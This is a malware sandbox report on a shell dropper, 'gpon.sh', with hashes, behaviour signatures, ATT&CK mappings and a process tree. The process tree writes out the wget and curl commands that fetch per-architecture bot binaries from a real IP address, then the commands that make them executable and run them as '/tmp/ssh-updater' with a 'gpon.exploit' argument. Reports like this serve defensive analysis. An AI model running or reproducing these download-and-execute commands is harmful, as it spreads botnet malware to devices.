881be033c2f28e7f3ad6bb7299809fba8a399b10ce389c5cf6191412b556a473

Analysis

max time kernel
7s
max time network
9s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
27/10/2026, 10:26

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
gpon.sh
Size 2KB
Sample261027-mgqbastsby
SHA256 881be033c2f28e7f3ad6bb7299809fba8a399b10ce389c5cf6191412b556a473
MD5 c33c3e3da7d64f32f554dd3dd8e29f90
SHA1 fbb442c61bf7e91da41f6e1dea174ce4842536ee
SHA512 c11bf6e48fb7dc4fe6b62dbe6123ab399a277f147f013c1bcb9a5d69a04f52f85c4954e39b8eec914e82e4b80d62a0b81c9f9dc727647bb2fd733489cf2e9002
TLSH
T16B5144C50373C978796AFD4F3DE68B14B980B4916CC6AA84B5EC79EC05CEE39584C14B
MD5 SHA1 SHA512 TLSH

Score

7^/10

antivm defense_evasion discovery upx

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 12 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
745	chmod
785	chmod
795	chmod
673	chmod
678	chmod
702	chmod
740	chmod
771	chmod
790	chmod
801	chmod
682	chmod
730	chmod

Executes dropped EXE 12 IoCs

ioc	pid	Process
/tmp/ssh-updater	674	gpon.sh
/tmp/ssh-updater	679	gpon.sh
/tmp/ssh-updater	683	gpon.sh
/tmp/ssh-updater	704	gpon.sh
/tmp/ssh-updater	731	gpon.sh
/tmp/ssh-updater	741	gpon.sh
/tmp/ssh-updater	746	gpon.sh
/tmp/ssh-updater	773	gpon.sh
/tmp/ssh-updater	786	gpon.sh
/tmp/ssh-updater	791	gpon.sh
/tmp/ssh-updater	796	gpon.sh
/tmp/ssh-updater	802	gpon.sh

Traces itself 4 IoCs

Traces itself to prevent debugging attempts

pid	Process
674	ssh-updater
679	ssh-updater
683	ssh-updater
704	ssh-updater

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/fstream-1.dat	upx
behavioral2/files/fstream-6.dat	upx

Checks CPU configuration 1 TTPs 1 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 10 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/self/exe	ssh-updater
File opened for reading	/proc/self/status	ssh-updater
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/exe	ssh-updater
File opened for reading	/proc/self/exe	ssh-updater
File opened for reading	/proc/self/status	ssh-updater
File opened for reading	/proc/self/status	ssh-updater
File opened for reading	/proc/self/status	ssh-updater
File opened for reading	/proc/self/exe	ssh-updater

System Network Configuration Discovery 1 TTPs 2 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
743	wget
744	cat

Writes file to tmp directory 14 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/mewww.x86	wget
File opened for modification	/tmp/mewww.x86_64	wget
File opened for modification	/tmp/mewww.ppc	wget
File opened for modification	/tmp/mewww.sh4	wget
File opened for modification	/tmp/mewww.arm6	wget
File opened for modification	/tmp/mewww.arm7	wget
File opened for modification	/tmp/mewww.mips	wget
File opened for modification	/tmp/mewww.mpsl	wget
File opened for modification	/tmp/mewww.m68k	wget
File opened for modification	/tmp/mewww.arc	wget
File opened for modification	/tmp/mewww.arc	curl
File opened for modification	/tmp/mewww.arm	wget
File opened for modification	/tmp/ssh-updater	gpon.sh
File opened for modification	/tmp/mewww.arm5	wget

/tmp/gpon.sh
/tmp/gpon.sh
1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:644
- /usr/bin/wget
  wget http://45.66.228.20/bins/mewww.arm -O mewww.arm
  2⤵
  - Writes file to tmp directory
  PID:650
- /bin/cat
  cat mewww.arm
  2⤵
  PID:672
- /bin/chmod
  chmod +x ssh-updater
  2⤵
  - File and Directory Permissions Modification
  PID:673
- /tmp/ssh-updater
  ./ssh-updater gpon.exploit
  2⤵
  - Traces itself
  - Reads runtime system information
  PID:674
- /usr/bin/wget
  wget http://45.66.228.20/bins/mewww.arm5 -O mewww.arm5
  2⤵
  - Writes file to tmp directory
  PID:676
- /bin/cat
  cat mewww.arm5
  2⤵
  PID:677
- /bin/chmod
  chmod +x ssh-updater
  2⤵
  - File and Directory Permissions Modification
  PID:678
- /tmp/ssh-updater
  ./ssh-updater gpon.exploit
  2⤵
  - Traces itself
  - Reads runtime system information
  PID:679
- /usr/bin/wget
  wget http://45.66.228.20/bins/mewww.arm6 -O mewww.arm6
  2⤵
  - Writes file to tmp directory
  PID:680
- /bin/cat
  cat mewww.arm6
  2⤵
  PID:681
- /bin/chmod
  chmod +x ssh-updater
  2⤵
  - File and Directory Permissions Modification
  PID:682
- /tmp/ssh-updater
  ./ssh-updater gpon.exploit
  2⤵
  - Traces itself
  - Reads runtime system information
  PID:683
- /usr/bin/wget
  wget http://45.66.228.20/bins/mewww.arm7 -O mewww.arm7
  2⤵
  - Writes file to tmp directory
  PID:684
- /bin/cat
  cat mewww.arm7
  2⤵
  PID:701
- /bin/chmod
  chmod +x ssh-updater
  2⤵
  - File and Directory Permissions Modification
  PID:702
- /tmp/ssh-updater
  ./ssh-updater gpon.exploit
  2⤵
  - Traces itself
  - Reads runtime system information
  PID:704
- /usr/bin/wget
  wget http://45.66.228.20/bins/mewww.x86 -O mewww.x86
  2⤵
  - Writes file to tmp directory
  PID:706
- /bin/cat
  cat mewww.x86
  2⤵
  PID:728
- /bin/chmod
  chmod +x ssh-updater
  2⤵
  - File and Directory Permissions Modification
  PID:730
- /tmp/ssh-updater
  ./ssh-updater gpon.exploit
  2⤵
  PID:731
- /usr/bin/wget
  wget http://45.66.228.20/bins/mewww.x86_64 -O mewww.x86_64
  2⤵
  - Writes file to tmp directory
  PID:734
- /bin/cat
  cat mewww.x86_64
  2⤵
  PID:739
- /bin/chmod
  chmod +x ssh-updater
  2⤵
  - File and Directory Permissions Modification
  PID:740
- /tmp/ssh-updater
  ./ssh-updater gpon.exploit
  2⤵
  PID:741
- /usr/bin/wget
  wget http://45.66.228.20/bins/mewww.mips -O mewww.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:743
- /bin/cat
  cat mewww.mips
  2⤵
  - System Network Configuration Discovery
  PID:744
- /bin/chmod
  chmod +x ssh-updater
  2⤵
  - File and Directory Permissions Modification
  PID:745
- /tmp/ssh-updater
  ./ssh-updater gpon.exploit
  2⤵
  PID:746
- /usr/bin/wget
  wget http://45.66.228.20/bins/mewww.mpsl -O mewww.mpsl
  2⤵
  - Writes file to tmp directory
  PID:748
- /bin/cat
  cat mewww.mpsl
  2⤵
  PID:769
- /bin/chmod
  chmod +x ssh-updater
  2⤵
  - File and Directory Permissions Modification
  PID:771
- /tmp/ssh-updater
  ./ssh-updater gpon.exploit
  2⤵
  PID:773
- /usr/bin/wget
  wget http://45.66.228.20/bins/mewww.ppc -O mewww.ppc
  2⤵
  - Writes file to tmp directory
  PID:775
- /bin/cat
  cat mewww.ppc
  2⤵
  PID:784
- /bin/chmod
  chmod +x ssh-updater
  2⤵
  - File and Directory Permissions Modification
  PID:785
- /tmp/ssh-updater
  ./ssh-updater gpon.exploit
  2⤵
  PID:786
- /usr/bin/wget
  wget http://45.66.228.20/bins/mewww.m68k -O mewww.m68k
  2⤵
  - Writes file to tmp directory
  PID:788
- /bin/cat
  cat mewww.m68k
  2⤵
  PID:789
- /bin/chmod
  chmod +x ssh-updater
  2⤵
  - File and Directory Permissions Modification
  PID:790
- /tmp/ssh-updater
  ./ssh-updater gpon.exploit
  2⤵
  PID:791
- /usr/bin/wget
  wget http://45.66.228.20/bins/mewww.sh4 -O mewww.sh4
  2⤵
  - Writes file to tmp directory
  PID:793
- /bin/cat
  cat mewww.sh4
  2⤵
  PID:794
- /bin/chmod
  chmod +x ssh-updater
  2⤵
  - File and Directory Permissions Modification
  PID:795
- /tmp/ssh-updater
  ./ssh-updater gpon.exploit
  2⤵
  PID:796
- /usr/bin/wget
  wget http://45.66.228.20/bins/mewww.arc -O mewww.arc
  2⤵
  - Writes file to tmp directory
  PID:798
- /usr/bin/curl
  curl -o mewww.arc http://45.66.228.20/bins/mewww.arc
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:799
- /bin/cat
  cat mewww.arc
  2⤵
  PID:800
- /bin/chmod
  chmod +x ssh-updater
  2⤵
  - File and Directory Permissions Modification
  PID:801
- /tmp/ssh-updater
  ./ssh-updater gpon.exploit
  2⤵
  PID:802

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

mewww.arm

Path /tmp/mewww.arm
Size 77KB
SHA256 e46dfe295c900777bd3a9da5ca9d96421ef5dd230bca7e764154c87318fd4720
MD5 f5166fac7bed1ea81796ccd223a1ceb2
SHA1 ff4682a57a1f7ffc9f3a164267dd3bbbe3d54135
SHA512 2cf3f92c0bd57f3ea5dbee6fc9fa738e4caab06356fdf755f7cfe1c2044ccd609d24b9eacb1902ac4c6462ac96af23e4633785de1954c8195023a2831be473a8
SSDEEP 1536:rk5mPBwBjc8PIGDV7qSjfZWo+jLNAk4rFj0rkCDP5Owft:jZwabepzRX+jexrdaP9F
TLSH
T1B7730268AA1E94EDD813993D250F46917CAE4A9DDF93783260A1F6C9AFD0FC71B60103
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ssh-updater

Path /tmp/ssh-updater
Size 76KB
SHA256 06044efe3f19c9e3635689c7d817deb6ba4f7ad390fa742d8be17148a59dfa9b
MD5 0fe6e3276d9ce596cb9d4f110d73a4c1
SHA1 22f5d1a86db2ffd671fd90a4fecdfa0824a9a9e1
SHA512 896641aadb48c56434095098d5875b87faec606b4705161d5d31e1fa2ebc5709d419a0a9f140c2ddeeba91c1e5a83961a9e5d08ba03bfaf0a8743fe7288c7a20
SSDEEP 1536:r/j3B5/bw34cpR0i88W2VXYUB5fP8pD18IRf318wJAUMxhCxDMqCKwmNifRf+:Djx5/bwoc7X5WjUX8lKI9qJUih4DMqak
TLSH
T1777301C11857BA85C53E143BF97A8096F955BFB4CDB87F28790C8404DE80AB737B8A48
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ssh-updater

Path /tmp/ssh-updater
Size 180KB
SHA256 48356530c9442e55c83b39e862189dbb675a608b27400c0b161f934c3519a9cd
MD5 2d83c5955c92cb01a8462d6bc346da66
SHA1 76211410d974f30443e5b9428447d51eb9bb6334
SHA512 321d0dadbbaa45af626573d088a93e92fbf163ae7a1ccbe3e70aab1cbb6316d0525c3cacf7768d753f0d9a2161a6e5d0f938525be84cf6316de66743a9d75192
SSDEEP 3072:xMrNSmyyYWgaaI+FKv1f9mKx82c9t7VmiBkA4qPAZVv0Phg/q6i9IHNOP:xcgmlLT91fMO85RVmEJg/QVP
TLSH
T17104AE60B015ADEBC51209B20024D4B507417DA053E3A2E5F49EF7EE4FA7ED1BEAD6B0
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads